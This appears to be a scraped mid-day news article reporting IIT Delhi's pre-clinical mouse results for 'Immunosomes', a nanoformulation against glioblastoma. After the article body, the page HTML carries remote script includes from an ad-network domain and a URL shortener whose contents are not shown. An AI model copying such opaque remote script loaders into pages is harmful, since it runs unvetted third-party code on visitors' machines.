<p>A novel nanoformulation to cure deadly brain tumours has shown promise in pre-clinical trials, researchers at the Indian Institute of Technology (IIT) Delhi said on Thursday.&nbsp;</p>
<p>Glioblastoma, the most common and aggressive type of cancerous brain tumour in adults, poses significant treatment challenges despite available options like surgery, radiation, and chemotherapy.</p>
<p>Patients diagnosed with glioblastoma typically have a life expectancy of only 12-18 months post-diagnosis.</p>
<p>The team developed a novel nanoformulation, namely Immunosomes, that combines a CD40 agonist antibody with the small molecule inhibitor RRX-001. The innovative approach, published in the journal Biomaterials, aims to enhance treatment efficacy for brain tumours, potentially offering new hope for improving outcomes in glioblastoma patients.</p>
<p>In this study, mice bearing glioblastoma treated with Immunosomes showed complete eradication of the tumour and remained tumour-free for at least three months. In addition, the treatment generated a strong host immune response to fight against brain cancer. After three months, the team re-challenged the long-term surviving mice by implanting glioblastoma cells.</p>
<p>Surprisingly, the mice pre-treated with Immunosomes showed near-no tumour growth, revealing that Immunosomes could generate long-lasting immune memory that can prevent future tumour recurrence without further treatment.</p>
<p>In addition to producing long-lasting protection against glioblastoma, treatment with Immunosomes can reduce the toxicity associated with CD40 agonist antibody, which otherwise presents a significant challenge for clinicians globally.</p>
<p>"We are highly motivated by these results, and are excited to translate these findings to human clinical trials with a wider range of glioblastoma patients," said Dr Jayanta Bhattacharyya, associate professor, Centre for Biomedical Engineering, IIT Delhi.</p>
<p><span style="font-size: x-small;"><em>This story has been sourced from a third party syndicated feed, agencies. Mid-day accepts no responsibility or liability for its dependability, trustworthiness, reliability and data of the text. Mid-day management/mid-day.com reserves the sole right to alter, delete or remove (without notice) the content in its absolute discretion for any reason whatsoever.</em></span></p><p>
    <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
    <div id="container-7445444aea29efc3d061cbd866026c06"></div>
    </p><script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

IIT Delhi develops new treatment for deadly brain cancer, pre-clinical trials show promise The innovative approach, published in the journal Biomaterials

IIT Delhi develops new treatment for deadly brain cancer, pre-clinical trials show promise

'Working more than 55 hours per week associated with 35 pct higher risk of a stroke': Indian doctors

he innovative approach, published in the journal Biomaterials, aims to enhance treatment efficacy for brain tumours, potentially offering new hope for improving outcomes in glioblastoma patients

IIT-Delhi develops new treatment for deadly brain cancer, trials show promise

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / Lifestyle / Health & Fitness / Article / IIT-Delhi develops new treatment for deadly brain cancer, trials show promise